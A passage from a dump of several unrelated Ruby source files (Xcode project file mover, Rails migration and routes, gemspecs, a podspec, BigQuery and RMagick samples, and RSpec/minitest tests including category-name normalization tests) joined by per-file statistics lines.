if(!File.expand_path(Dir.pwd + file[:filepath]).start_with?(Dir.pwd))
FileUtils.cp File.expand_path(Dir.pwd + file[:filepath]), Dir.pwd + file[:projpath] + file[:filename]
#Correct file graph
file[:object]._attr_hash.delete('name')
file[:object]._attr_hash['path'] = file[:filename]
else
FileUtils.mv Dir.pwd + file[:filepath], Dir.pwd + file[:projpath] + file[:filename]
#Correct file graph
file[:object]._attr_hash.delete('name')
file[:object]._attr_hash['path'] = file[:filename]
end
else
puts "WARNING: File '" + file[:filename] + "' already exists at " + file[:projpath] + ' and will be skipped'
end
end
group_corrections.map do |folder|
if File.exists?(Dir.pwd + folder[:projpath])
#If a directory for a given group path exists, correct the group to point at it
folder[:object]._attr_hash['path'] = folder[:object]['name']
folder[:object]._attr_hash.delete('name')
end
end
#Complete
proj.save!
end
# Container for the visitor that lists all files in a project, leveraged from pbx_projects visitor of the same name
module FileVisitor
def self.visit(object, root_path, xcode_path, file_corrections, group_corrections)
case object.isa
when :PBXVariantGroup
#TODO: These are used with localised files, for now they are ignored
when :PBXGroup
visit_group(object, root_path, xcode_path, file_corrections, group_corrections)
when :PBXFileReference
visit_file(object, root_path, xcode_path, file_corrections)
end
end
def self.visit_group(group, root_path, xcode_path, file_corrections, group_corrections)
path = merge_path(root_path, group['sourceTree'], group)
if(group['name'] != nil)
proj_path = xcode_path + group['name'] + "/"
#A non-nil name indicates we may have to correct the groups path
group_corrections << { :object => group, :filepath =>path, :projpath => proj_path }
elsif(group['path'] != nil)
proj_path = xcode_path + group['path'] + "/"
else
proj_path = xcode_path
end
group['children'].each do |child|
visit child, path, proj_path, file_corrections, group_corrections
end
end
def self.visit_file(file, root_path, xcode_path, file_corrections)
if(file['sourceTree'] == "<group>")
path = merge_path(root_path, file['sourceTree'], file)
if(file['name'])
file_name = file['name']
else
file_name = file['path']
end
#Don't move around other project files
if((path != xcode_path + file_name) && file['lastKnownFileType'] != 'wrapper.pb-project')
file_corrections << { :filepath => path, :projpath => xcode_path, :filename => file_name, :object => file }
end
end
end
def self.merge_path(old_path, source_tree, object)
case source_tree
when '<group>'
base_path = old_path
else
base_path = source_tree
end
if object['path']
path = File.join(base_path, object['path'])
else
path = old_path
end
return path
end
end
end
end
| 35.434483 | 182 | 0.613468 |
9116dc230cfcfcf5093bf18889d16fc4fcf167b1
| 554 |
class CreateRpAvailableReports < ActiveRecord::Migration
def change
create_table :rp_available_reports do |t|
t.string :code, null: false, comment: 'the internal code for this report'
t.string :dsn, comment: 'the jdbc data source where the report should be run'
t.string :db_unit_name, comment: 'the package that will return the result set of the report'
t.string :msg_model, comment: 'the dfdl message model'
t.string :mime_type, comment: 'the output file mime type'
t.timestamps null: false
end
end
end
| 39.571429 | 98 | 0.714801 |
91df4a2a869843b9b26f82b73c8e6d8ba167a46f
| 937 |
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# [START bigquery_create_dataset]
require "google/cloud/bigquery"
def create_dataset dataset_id = "my_dataset", location = "US"
bigquery = Google::Cloud::Bigquery.new
# Create the dataset in a specified geographic location
bigquery.create_dataset dataset_id, location: location
puts "Created dataset: #{dataset_id}"
end
# [END bigquery_create_dataset]
| 36.038462 | 74 | 0.76841 |
1c13037611046ff424733e0d404c32b493ff0821
| 417 |
# Uncomment below line only if you test
# bin/edge_cases/knapsack_pro_queue_minitest_missing_constant
#
# This wil cause minitest to fail and the tests run will be stopped.
# The CI node won't record timing.
#MissingConstantHereToTestDefect
class PendingControllerTest < ActionController::TestCase
# We have no tests here on purpose.
# We expect knapsack_pro to record this file even no tests were executed!
end
| 34.75 | 75 | 0.803357 |
110dd2a5808f555fc58aa47c431bbfe59c5e7e19
| 759 |
shared_examples_for 'a project with correct paths' do
# Requires:
#
# @project => Montage::Project
# @helper => Montage::Spec::ProjectHelper
# @config => Pathname (path to config file)
#
# (optional)
# @root => Pathname (path to the root of the project)
#
before(:all) do
@root ||= @helper.project_dir
end
it 'should set the project root path' do
@project.paths.root.should == @root
end
it 'should set the configuration file path' do
@project.paths.config.should == @config
end
it 'should set the SASS output path' do
@project.paths.sass.should == @root + 'public/stylesheets/sass'
end
it 'should set the CSS sprite URL' do
@project.paths.url.should == '/images/:name.png'
end
end
| 23.71875 | 67 | 0.648221 |
e2ba0d627c24ffc9894c4e5872c17a578bb82c1c
| 1,314 |
# coding: utf-8
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'picoyplaca/version'
Gem::Specification.new do |spec|
spec.name = "picoyplaca"
spec.version = Picoyplaca::VERSION
spec.authors = ["Santiago"]
spec.email = ["[email protected]"]
spec.summary = %q{Pico y Placa Predictor}
spec.homepage = "https://github.com/sdbcmh/picoyplaca.git"
spec.license = "MIT"
# Prevent pushing this gem to RubyGems.org. To allow pushes either set the 'allowed_push_host'
# to allow pushing to a single host or delete this section to allow pushing to any host.
if spec.respond_to?(:metadata)
spec.metadata['allowed_push_host'] = "TODO: Set to 'http://mygemserver.com'"
else
raise "RubyGems 2.0 or newer is required to protect against " \
"public gem pushes."
end
spec.files = `git ls-files -z`.split("\x0").reject do |f|
f.match(%r{^(test|spec|features)/})
end
spec.bindir = "exe"
spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
spec.require_paths = ["lib"]
spec.add_development_dependency "bundler", "~> 1.13"
spec.add_development_dependency "rake", "~> 10.0"
spec.add_development_dependency "rspec", "~> 3.0"
end
| 36.5 | 96 | 0.661339 |
2802618850e153f5ac33e6667d4576132ebeaa45
| 50 |
module Popolo_CSV
VERSION = '0.31.0'.freeze
end
| 12.5 | 27 | 0.72 |
61e5bb75acde74d30f135a5804b9064120e5de84
| 1,654 |
#
# Be sure to run `pod lib lint ZSYCategoryKit.podspec' to ensure this is a
# valid spec before submitting.
#
# Any lines starting with a # are optional, but their use is encouraged
# To learn more about a Podspec see https://guides.cocoapods.org/syntax/podspec.html
#
Pod::Spec.new do |s|
s.name = 'ZSYCategoryKit'
s.version = '1'
s.summary = 'A short description of ZSYCategoryKit.'
# This description is used to generate tags and improve search results.
# * Think: What does it do? Why did you write it? What is the focus?
# * Try to keep it short, snappy and to the point.
# * Write the description between the DESC delimiters below.
# * Finally, don't worry about the indent, CocoaPods strips it!
s.description = <<-DESC
TODO: Add long description of the pod here.
DESC
s.homepage = 'https://github.com/[email protected]/ZSYCategoryKit'
# s.screenshots = 'www.example.com/screenshots_1', 'www.example.com/screenshots_2'
s.license = { :type => 'MIT', :file => 'LICENSE' }
s.author = { '[email protected]' => '[email protected]' }
s.source = { :git => 'https://github.com/[email protected]/ZSYCategoryKit.git', :tag => s.version.to_s }
# s.social_media_url = 'https://twitter.com/<TWITTER_USERNAME>'
s.ios.deployment_target = '9.0'
s.source_files = 'ZSYCategoryKit/Classes/**/*'
# s.resource_bundles = {
# 'ZSYCategoryKit' => ['ZSYCategoryKit/Assets/*.png']
# }
# s.public_header_files = 'Pod/Classes/**/*.h'
# s.frameworks = 'UIKit', 'MapKit'
# s.dependency 'AFNetworking', '~> 2.3'
end
| 38.465116 | 115 | 0.648126 |
acc259ceb41f739140dfe30970e620cf9908a441
| 570 |
require 'spec_helper'
RSpec.describe Scimitar::ResourceType do
context '#as_json' do
it 'adds the extensionSchemas' do
resource_type = Scimitar::ResourceType.new(
endpoint: '/Gaga',
schema: 'urn:ietf:params:scim:schemas:core:2.0:User',
schemaExtensions: ['urn:ietf:params:scim:schemas:extension:enterprise:2.0:User']
)
expect(resource_type.as_json['schemaExtensions']).to eql([{
"schema" => 'urn:ietf:params:scim:schemas:extension:enterprise:2.0:User',
"required" => false
}])
end
end
end
| 25.909091 | 88 | 0.654386 |
628a95069bd99ff68bbd00925440bb5b7e5b0829
| 1,188 |
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: google/ads/googleads/v7/enums/resource_change_operation.proto
require 'google/api/annotations_pb'
require 'google/protobuf'
Google::Protobuf::DescriptorPool.generated_pool.build do
add_file("google/ads/googleads/v7/enums/resource_change_operation.proto", :syntax => :proto3) do
add_message "google.ads.googleads.v7.enums.ResourceChangeOperationEnum" do
end
add_enum "google.ads.googleads.v7.enums.ResourceChangeOperationEnum.ResourceChangeOperation" do
value :UNSPECIFIED, 0
value :UNKNOWN, 1
value :CREATE, 2
value :UPDATE, 3
value :REMOVE, 4
end
end
end
module Google
module Ads
module GoogleAds
module V7
module Enums
ResourceChangeOperationEnum = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.ads.googleads.v7.enums.ResourceChangeOperationEnum").msgclass
ResourceChangeOperationEnum::ResourceChangeOperation = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.ads.googleads.v7.enums.ResourceChangeOperationEnum.ResourceChangeOperation").enummodule
end
end
end
end
end
| 36 | 217 | 0.756734 |
183e7f7d570f42f0004789e92a210905d405ab88
| 803 |
Rails.application.routes.draw do
root 'static_pages#home'
get '/error_search', to: 'errors#error_search'
get '/help', to: 'static_pages#help'
get '/about', to: 'static_pages#about'
get '/contact', to: 'static_pages#contact'
get '/signup', to: 'users#new'
get '/login', to: 'sessions#new'
post '/login', to: 'sessions#create'
delete '/logout', to: 'sessions#destroy'
resources :users do
member do
get :following, :followers
end
end
resources :account_activations, only: [:edit]
resources :password_resets, only: [:new, :create, :edit, :update]
resources :microposts, only: [:create, :destroy]
resources :relationships, only: [:create, :destroy]
resources :errors
resources :rules
end
| 33.458333 | 71 | 0.62391 |
1854a8f80e3caeefabde340eada32800274dd1b2
| 114 |
module CdnApp::Controllers::Home
class Index
include CdnApp::Action
def call(params)
end
end
end
| 12.666667 | 32 | 0.684211 |
21c8ea0c150f533e078617a411fd51ce76a3373d
| 1,682 |
lib = File.expand_path("../lib", __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require "rename_movies/version"
Gem::Specification.new do |spec|
spec.name = "rename_movies"
spec.version = RenameMovies::VERSION
spec.authors = ["AhmedKamal20"]
spec.email = ["[email protected]"]
spec.summary = "a Script to rename movies folders in a helpful format"
spec.description = "a Script to rename movies folders in a helpful format"
spec.homepage = "https://github.com/AhmedKamal20/rename_movies"
spec.license = "MIT"
# Prevent pushing this gem to RubyGems.org. To allow pushes either set the 'allowed_push_host'
# to allow pushing to a single host or delete this section to allow pushing to any host.
if spec.respond_to?(:metadata)
spec.metadata["allowed_push_host"] = "https://rubygems.org"
spec.metadata["homepage_uri"] = spec.homepage
spec.metadata["source_code_uri"] = spec.homepage
else
raise "RubyGems 2.0 or newer is required to protect against " \
"public gem pushes."
end
# Specify which files should be added to the gem when it is released.
# The `git ls-files -z` loads the files in the RubyGem that have been added into git.
spec.files = Dir.chdir(File.expand_path("..", __FILE__)) do
`git ls-files -z`.split("\x0").reject { |f| f.match(%r{^(test|spec|features)/}) }
end
spec.bindir = "bin"
spec.executables = ["rename_movies"]
spec.require_paths = ["lib"]
spec.add_development_dependency "bundler", "~> 1.16"
spec.add_development_dependency "rake", "~> 10.0"
spec.add_development_dependency "minitest", "~> 5.0"
end
| 40.047619 | 96 | 0.688466 |
619dfc6c6e396b537eb58b13c19958569859d21f
| 525 |
require 'spec_helper'
module Alf
module Types
describe Size, "coerce" do
it 'should coerce strings correctly' do
expect(Size.coerce("0")).to eq(0)
expect(Size.coerce("10")).to eq(10)
end
it 'should raise TypeError on negative integers' do
expect(lambda{ Size.coerce("-1") }).to raise_error(TypeError)
end
it 'should raise on non integers' do
expect(lambda{
Size.coerce("hello")
}).to raise_error(TypeError)
end
end
end
end
| 21.875 | 69 | 0.605714 |
ab111503669c85297133ee6a87fd51bfee6d0030
| 973 |
#!/usr/bin/env ruby -w
require 'rmagick'
imgl = Magick::ImageList.new
imgl.new_image(470, 150, Magick::HatchFill.new('white','lightcyan2'))
gc = Magick::Draw.new
# Draw Bezier curve
gc.stroke('red')
gc.stroke_width(3)
gc.fill_opacity(0)
gc.bezier(25,125, 100,25, 400,25, 325,125)
# Draw circles around end points
gc.fill_opacity(0)
gc.stroke('gray50').stroke_width(1)
gc.circle(25,125, 28, 128)
gc.circle(325,125, 328, 123)
# Draw filled circles around control points
gc.line(25,125, 100,25)
gc.line(325,125, 400,25)
gc.fill_opacity(1)
gc.fill('gray50')
gc.circle(100,25, 103,28)
gc.circle(400,25, 403,28)
# Annotate
gc.font_weight(Magick::NormalWeight)
gc.font_style(Magick::NormalStyle)
gc.fill('black')
gc.stroke('transparent')
gc.text(34,125, "'25,125'")
gc.text(107,25, "'100,25'")
gc.text(335,125, "'325,125'")
gc.text(405,25, "'400,25'")
gc.draw(imgl)
imgl.border!(1,1, 'lightcyan2')
imgl.write('cbezier2.gif')
exit(0)
| 23.166667 | 70 | 0.679342 |
01e79e218a4bb8a44b3ea8a92b9721c1d036c4c7
| 390 |
class Course < ApplicationRecord
has_many :streams, class_name: "Course", foreign_key: :stream_parent
belongs_to :stream_parent, class_name: "Course", optional: true
has_many :course_units
has_many :units, through: :course_units
scope :search, -> (name) {
where("lower(code) like ?", "%#{name.downcase}%")
.or(where("lower(name) like ?", "%#{name.downcase}%"))
}
end
| 30 | 70 | 0.682051 |
edcbe2ec3ed7ecdd379cc2a40574e22f2eadf092
| 1,301 |
# frozen_string_literal: true
require 'rails_helper'
describe User::Confirm do
describe '.call' do
include_context 'with interactor'
include_context 'when time is frozen'
let(:user) { create(:user, password: 'Qq123456', role: :unconfirmed) }
let(:possession_token) { create :possession_token, user: user }
let(:initial_context) { { user: user, value: possession_token.value } }
let(:confirmed_at) { Time.current }
context 'with valid data' do
let(:user_id) { user.id }
let(:event) { :user_updated }
it_behaves_like 'success interactor'
it 'updates user' do
interactor.run
expect(user).to have_attributes(
confirmed_at: confirmed_at
)
expect(PossessionToken.count).to be_zero
end
it 'updates users role' do
expect(user.has_role?(:user)).to be false
interactor.run
expect(user.has_role?(:user)).to be true
expect(user.has_role?(:unconfirmed)).to be false
end
end
context 'when token is wrong' do
let(:initial_context) { nil }
let(:error_data) do
{
status: '400',
code: :bad_request,
title: 'Invalid value'
}
end
it_behaves_like 'failed interactor'
end
end
end
| 23.654545 | 75 | 0.617986 |
03fa320f9363ff0925395571a381b5943a0d07c2
| 1,619 |
# encoding: UTF-8
#
# Copyright (c) 2010-2017 GoodData Corporation. All rights reserved.
# This source code is licensed under the BSD-style license found in the
# LICENSE file in the root directory of this source tree.
require 'gooddata/connection'
describe GoodData::Rest::Connection, :vcr do
before(:all) do
USERNAME = ConnectionHelper::DEFAULT_USERNAME
PASSWORD = ConnectionHelper::SECRETS[:default_password]
end
it "Has DEFAULT_URL defined" do
GoodData::Rest::Connection::DEFAULT_URL.should be_a(String)
end
it "Has LOGIN_PATH defined" do
GoodData::Rest::Connection::LOGIN_PATH.should be_a(String)
end
it "Has TOKEN_PATH defined" do
GoodData::Rest::Connection::TOKEN_PATH.should be_a(String)
end
describe '#connect' do
it "Connects using username and password" do
c = GoodData.connect(ConnectionHelper::DEFAULT_USERNAME, ConnectionHelper::SECRETS[:default_password], :verify_ssl => 0)
c.should be_a(GoodData::Rest::Client)
c.disconnect
end
end
describe '#disconnect' do
it "Connects using username and password" do
c = GoodData.connect(ConnectionHelper::DEFAULT_USERNAME, ConnectionHelper::SECRETS[:default_password], :verify_ssl => 0)
c.disconnect
end
end
describe '#generate_request_id' do
it "Generates a non-empty string" do
c = ConnectionHelper.create_default_connection
# generate a request id, and pass it to a request
id = c.generate_request_id
c.get('/gdc/md', :request_id => id)
id.should be_a(String)
id.should_not be_empty
c.disconnect
end
end
end
| 28.403509 | 126 | 0.717109 |
033c7a6e8fb1547bb860c38edf5a4e3cd5f7c8f0
| 24,192 |
# frozen_string_literal: true
require "test_helper"
module Categories
# :stopdoc:
class NameTest < ActiveSupport::TestCase
test "name should be normalized when set" do
assert_equal "Senior Men", Category.new(name: "SENIOR MEN").name, "Senior Men"
assert_equal "Senior Men", Category.new(name: " Senior Men ").name, "' Senior Men '"
assert_equal "Senior Men", Category.new(name: " Senior Men").name, "' Senior Men'"
assert_equal "Senior Men", Category.new(name: "Senior Men").name, "'Senior Men'"
assert_equal "Senior Men", Category.new(name: "Senior Men").name, "'Senior Men'"
assert_equal "Category 3 Men", Category.new(name: "cat 3 Men").name, "cat 3 Men"
assert_equal "Masters 50+", Category.new(name: "Mas50+").name, "Mas50+"
assert_equal "Masters Men", Category.new(name: "MasterMen").name, "MasterMen"
assert_equal "Team 12-Hour", Category.new(name: "Team 12 Hr").name, "Team 12 Hr"
assert_equal "Pro Women 1-3", Category.new(name: "Pro Women 1-3").name, "Pro Women 1-3"
assert_equal "Pro 1-3", Category.new(name: "Pro 1-3").name, "Pro 1-3"
assert_equal "Masters Men 30-34 Keirin", Category.new(name: "Masters Men 30-34 Keirin").name, "Masters Men 30-34 Keirin"
assert_equal "Masters 50+ Category 3/4/5", Category.new(name: "Masters 50 Category 3/4/5").name, "Masters 50 Category 3/4/5"
assert_equal "Men Pro/1/2", Category.new(name: "Men Pro, 1/2").name, "Men Pro, 1/2"
assert_equal "Men Pro/1/2", Category.new(name: "Men Pro,1/2").name, "Men Pro,1/2"
assert_equal "Men Pro/1/2", Category.new(name: "Men Pro 1/2").name, "Men Pro 1/2"
assert_equal "Men Pro/1/2", Category.new(name: "Men Pro 1-2").name, "Men Pro 1-2"
assert_equal "Pro/Category 1 Men 19-39", Category.new(name: "Category 1/Pro Men 19-39").name, "Category 1/Pro Men 19-39"
assert_equal "Men 1/2", Category.new(name: "Men1-2").name, "Men1-2"
assert_equal "Women 1/2", Category.new(name: "W1/2").name, "W1/2"
assert_equal "Women 4", Category.new(name: "W4").name, "W4"
assert_equal "Women A", Category.new(name: "WomenA").name, "WomenA"
assert_equal "Category 3 Keirin", Category.new(name: "Category 3 Keirin").name, "Category 3 Keirin"
assert_equal "Category 3 Keirin", Category.new(name: "Category 3Keirin").name, "Category 3 Keirin"
assert_equal "Category 3 Kilo", Category.new(name: "Category 3Kilo").name, "Category 3 Kilo"
assert_equal "Category 2 Junior Men 15-18", Category.new(name: "CAT 2 Junior Men 15-18").name, "CAT 2 Junior Men 15-18"
assert_equal "Clydesdale Men 200+", Category.new(name: "Clydesdale Men (200+)").name, "Clydesdale Men (200+)"
assert_equal "Clydesdale Open 200+", Category.new(name: "Clydesdale Open (200+)").name, "Clydesdale Open (200+)"
assert_equal "Clydesdale 200+", Category.new(name: "Clydesdale (200 Lbs+)").name, "Clydesdale Open (200 Lbs+)"
assert_equal "Senior Women 3K Pursuit", Category.new(name: "Senior Women (3K Pursuit)").name, "Senior Women (3K Pursuit)"
assert_equal "Senior Women 3K", Category.new(name: "Senior Women (3K)").name, "Senior Women (3K)"
assert_equal "Junior Men 2K Pursuit", Category.new(name: "Junior Men (2k Pursuit)").name, "Junior Men (2k Pursuit)"
assert_equal "Junior Men 10-12", Category.new(name: "Junior M 10/12").name, "Junior M 10/12"
assert_equal "Junior B - Australian Pursuit", Category.new(name: "Junior B - Australian Pursuit").name, "Junior B - Australian Pursuit"
assert_equal "Men U50 24-Hour", Category.new(name: "Men U50 24hr").name, "Men U50 24hr"
assert_equal "Masters Men 30-34", Category.new(name: "Men Masters 30-34").name, "Men Masters 30-34"
assert_equal "Masters Men 1/2/3 40+", Category.new(name: "Masters Men 1/2/3 40+").name, "Masters Men 1/2/3 40+"
assert_equal "Masters Men 3 40+", Category.new(name: "Masters Men 3 40+").name, "Masters Men 3 40+"
assert_equal "Masters 30-34 Kilometer", Category.new(name: "Masters 30-34 Kilometer").name, "Masters 30-34 Kilometer"
assert_equal "Masters Men 35-49 A/B", Category.new(name: "Masters Men 35/49 A/B").name, "Masters Men 35/49 A/B"
assert_equal "4", Category.new(name: "4").name, "4"
assert_equal "4", Category.new(name: 4).name, "4 (Number)"
assert_equal "Four-Person Men Veteran (Over 160)", Category.new(name: "Four-Person Men Veteran (Over 160)").name, "Four-Person Men Veteran (Over 160)"
assert_equal "Junior Men 9-12 3/4/5", Category.new(name: "Junior Men 9-12 3/4/5").name, "Junior Men 9-12/3/4/5"
assert_equal(
"Open Category 2/3 (OBRA Championship)",
Category.new(name: "Open Category 2/3 (OBRA Championship)").name,
"Open Category 2/3 (OBRA Championship)"
)
end
test "find_or_create_by_normalized_name" do
category = FactoryBot.create(:category, name: "Senior Men")
assert_equal category, Category.find_or_create_by_normalized_name(" Senior Men ")
end
test "normalize_case should set proper case" do
assert_equal "Senior Men", Category.normalize_case("SENIOR MEN"), "SENIOR MEN"
assert_equal "Senior Men", Category.normalize_case("senior men"), "senior men"
assert_equal "Sport Women 40 & Over", Category.normalize_case("SPORT WOMEN 40 & OVER"), "SPORT WOMEN 40 & OVER"
assert_equal "Jr 16-18", Category.normalize_case("JR 16-18"), "JR 16-18"
assert_equal "CBRA", Category.normalize_case("CBRA"), "CBRA"
assert_equal "MTB", Category.normalize_case("MTB"), "MTB"
assert_equal "SS", Category.normalize_case("SS"), "SS"
assert_equal "Demonstration - 500 M TT", Category.normalize_case("Demonstration - 500 m TT"), "Demonstration - 500 m TT"
assert_equal "Pro/SemiPro", Category.normalize_case("Pro/SemiPro"), "Pro/SemiPro"
assert_equal "Cat C/Beginner Men", Category.normalize_case("Cat C/beginner Men"), "Cat C/beginner Men"
assert_equal "(Beginner) Cat 3 Men 13 & Under", Category.normalize_case("(beginner) Cat 3 Men 13 & Under"), "(beginner) Cat 3 Men 13 & Under"
assert_equal "Cat II 55+", Category.normalize_case("Cat Ii 55+"), "Cat Ii 55+"
assert_equal "Category 5A", Category.normalize_case("Category 5a"), "Category 5a"
assert_equal "Category 5A", Category.normalize_case("Category 5A"), "Category 5A"
assert_equal "Team of 4 - 40+", Category.normalize_case("TEAM OF 4 - 40+"), "TEAM OF 4 - 40+"
assert_equal "TTT", Category.normalize_case("TTT"), "TTT"
assert_equal "TT-tandem", Category.normalize_case("Tt-tandem"), "Tt-tandem"
assert_equal "Junior TT-tandem", Category.normalize_case("Junior Tt-tandem"), "Junior Tt-tandem"
assert_equal "Attendee", Category.normalize_case("Attendee"), "Attendee"
assert_equal "CCX", Category.normalize_case("Ccx"), "Ccx"
assert_equal "CX", Category.normalize_case("Cx"), "Cx"
assert_equal "BMX", Category.normalize_case("Bmx"), "Bmx"
end
test "strip_whitespace" do
assert_equal "Men 30-39", Category.strip_whitespace("Men 30 - 39"), "Men 30 - 39"
assert_equal "Men 30-39", Category.strip_whitespace("Men 30- 39"), "Men 30- 39"
assert_equal "Men 30-39", Category.strip_whitespace("Men 30 -39"), "Men 30 -39"
assert_equal "Men 30+", Category.strip_whitespace("Men 30 +"), "Men 30 +"
assert_equal "Men 30+", Category.strip_whitespace("Men 30+"), "Men 30+"
assert_equal "U14", Category.strip_whitespace("U 14"), "U 14"
assert_equal "U14", Category.strip_whitespace("U-14"), "U-14"
assert_equal "Pro 1/2", Category.strip_whitespace("Pro 1 / 2"), "Pro 1 / 2"
assert_equal "Pro 1/2", Category.strip_whitespace("Pro 1/ 2"), "Pro 1/ 2"
assert_equal "Pro 1/2", Category.strip_whitespace("Pro 1 /2"), "Pro 1 /2"
assert_equal "Pro/Expert Women", Category.strip_whitespace("Pro / Expert Women"), "Pro / Expert Women"
assert_equal "6 - race", Category.strip_whitespace("6- race"), "6 - race"
assert_equal "3", Category.strip_whitespace(3), "Number 3"
end
test "#normalize_punctuation" do
assert_equal "Category 1/2", Category.normalize_punctuation("Category 1/2/"), "Category 1/2/"
assert_equal "Category 1/2", Category.normalize_punctuation("Category 1/2:"), "Category 1/2:"
assert_equal "Category 1/2", Category.normalize_punctuation("Category 1/2."), "Category 1/2."
assert_equal "Category 4/5 Junior", Category.normalize_punctuation("Category 4/5 (Junior)"), "Category 4/5 (Junior)"
assert_equal "Category 4/5 Men", Category.normalize_punctuation("Category 4/5 (Men)"), "Category 4/5 (Men)"
assert_equal "Category 4/5", Category.normalize_punctuation("Category 4//5"), "Category 4//5"
assert_equal "1/2/3", Category.normalize_punctuation("1 2 3"), "1 2 3"
assert_equal "4/5", Category.normalize_punctuation("4 5"), "4 5"
assert_equal "Men 3/4/5 50+", Category.normalize_punctuation("Men 3.4.5 50+"), "Men 3.4.5 50+"
assert_equal "1/2", Category.normalize_punctuation("1,2"), "1,2"
assert_equal "1/2", Category.normalize_punctuation("1-2"), "1-2"
assert_equal "1/2/3", Category.normalize_punctuation("1,2,3"), "1,2,3"
assert_equal "1/2/3", Category.normalize_punctuation("1-2-3"), "1-2-3"
assert_equal "3/4/5", Category.normalize_punctuation("3.4.5"), "3.4.5"
assert_equal "2-Person", Category.normalize_punctuation("2 Person"), "2 Person"
assert_equal "4-Man", Category.normalize_punctuation("4 man"), "4 Man"
assert_equal "3-Day", Category.normalize_punctuation("3 day"), "3 day"
assert_equal "10-Mile", Category.normalize_punctuation("10 Mile"), "10 Mile"
assert_equal "24-Hour", Category.normalize_punctuation("24 hour"), "24 hour"
assert_equal "Four-Man Team", Category.normalize_punctuation("Four Man Team"), "Four Man Team"
assert_equal "Junior 2-Lap 10-12 Men", Category.normalize_punctuation("Junior 2 Lap 10-12 Men"), "Junior 2 Lap 10-12 Men"
assert_equal "Team 8-Lap", Category.normalize_punctuation("Team 8 Lap"), "Team 8 Lap"
assert_equal "6-Lap Scratch Junior 13-14", Category.normalize_punctuation("6-Lap Scratch Junior 13-14"), "6-Lap Scratch Junior 13-14"
assert_equal "Six-day", Category.normalize_punctuation("Six-day"), "Six-day"
assert_equal "Six-day", Category.normalize_punctuation("Six day"), "Six day"
assert_equal "Six-day", Category.normalize_punctuation("Sixday"), "Sixday"
assert_equal "Six-day", Category.normalize_punctuation("Six-Day"), "Six-Day"
assert_equal "Men 40+ B", Category.normalize_punctuation("Men 40+ - B"), "Men 40+ - B"
assert_equal "Junior Men 12-18", Category.normalize_age_group_punctuation("Junior Men (12-18)"), "Junior Men (12-18)"
end
test "#replace_roman_numeral_categories" do
assert_equal "Category 1", Category.replace_roman_numeral_categories("Category I"), "Category I"
assert_equal "Category 2", Category.replace_roman_numeral_categories("Category II"), "Category II"
assert_equal "Category 3", Category.replace_roman_numeral_categories("Category III"), "Category III"
assert_equal "Category 4", Category.replace_roman_numeral_categories("Category IV"), "Category IV"
assert_equal "Category 5", Category.replace_roman_numeral_categories("Category V"), "Category V"
end
test "#normalize_spelling" do
assert_equal "Sport (Category 2) Men 14-18", Category.normalize_spelling("Sport (Cat 2) Men 14-18"), "Sport (Cat 2) Men 14-18"
assert_equal "senior men", Category.normalize_spelling("senior men"), "senior men"
assert_equal "Category 3", Category.normalize_spelling("Cat 3"), "Cat 3"
assert_equal "Category 3", Category.normalize_spelling("cat 3"), "cat 3"
assert_equal "Category 3", Category.normalize_spelling("Category 3"), "Category 3"
assert_equal "Category 5", Category.normalize_spelling("Cat. 5"), "Cat. 5"
assert_equal "Women (All Categories)", Category.normalize_spelling("Women (All Categories)"), "Women (All Categories)"
assert_equal "Category 3", Category.normalize_spelling("cat3"), "cat3"
assert_equal "Category 3", Category.normalize_spelling("Category3"), "Category3"
assert_equal "Category 1 Men 40+", Category.normalize_spelling("Category 1MEN 40+"), "Category 1MEN 40+"
assert_equal "Category 4 Men", Category.normalize_spelling("Category 4/ Men"), "Category 4/ Men"
assert_equal "Category 4", Category.normalize_spelling("categegory 4"), "categegory 4"
assert_equal "Category 4", Category.normalize_spelling("Categpry 4"), "Categpry 4"
assert_equal "Category 4", Category.normalize_spelling("ct 4"), "ct 4"
assert_equal "Category 4", Category.normalize_spelling("Catgory 4"), "Catgory 4"
assert_equal "Junior 10-12", Category.normalize_spelling("Jr 10-12"), "Jr 10-12"
assert_equal "Junior 10-12", Category.normalize_spelling("Jr. 10-12"), "Jr. 10-12"
assert_equal "Junior 10-12", Category.normalize_spelling("Junior 10-12"), "Junior 10-12"
assert_equal "Junior 10-12", Category.normalize_spelling("Juniors 10-12"), "Juniors 10-12"
assert_equal "Junior 10-12", Category.normalize_spelling("Juniors: 10-12"), "Juniors: 10-12"
assert_equal "Junior Women 13-14", Category.normalize_spelling("Jr Wm 13-14"), "Jr Wm 13-14"
assert_equal "Junior Women 13-14", Category.normalize_spelling("Jr Wmen 13-14"), "Jr Wmen 13-14"
assert_equal "Junior Women 13-14", Category.normalize_spelling("Jr Wmn 13-14"), "Jr Wmn 13-14"
assert_equal "Junior Women 13-14", Category.normalize_spelling("Jr Wom 13-14"), "Jr Wom 13-14"
assert_equal "Junior Women 13-14", Category.normalize_spelling("Jr Women 13-14"), "Jr Women 13-14"
assert_equal "Category 3 Women 35+", Category.normalize_spelling("Cat 3 W 35+"), "Cat 3 W 35+"
assert_equal "Men Keirin", Category.normalize_spelling("Men's Keirin"), "Men's Keirin"
assert_equal "Men Keirin", Category.normalize_spelling("Mens Keirin"), "Mens Keirin"
assert_equal "Women Keirin", Category.normalize_spelling("Women's Keirin"), "Men's Keirin"
assert_equal "Women Keirin", Category.normalize_spelling("Womens Keirin"), "Mens Keirin"
assert_equal "50+ Sport Men", Category.normalize_spelling("50+ Sport Male"), "50+ Sport Male"
assert_equal "Beginner 19+ Women", Category.normalize_spelling("Beginner 19+ Female"), "Beginner 19+ Female"
assert_equal "Men", Category.normalize_spelling("Men:"), "Men:"
assert_equal "Beginner Men", Category.normalize_spelling("Beg Men"), "Beg Men"
assert_equal "Beginner Men", Category.normalize_spelling("Beg. Men"), "Beg. Men"
assert_equal "Beginner Men", Category.normalize_spelling("Beg. Men"), "Beg. Men"
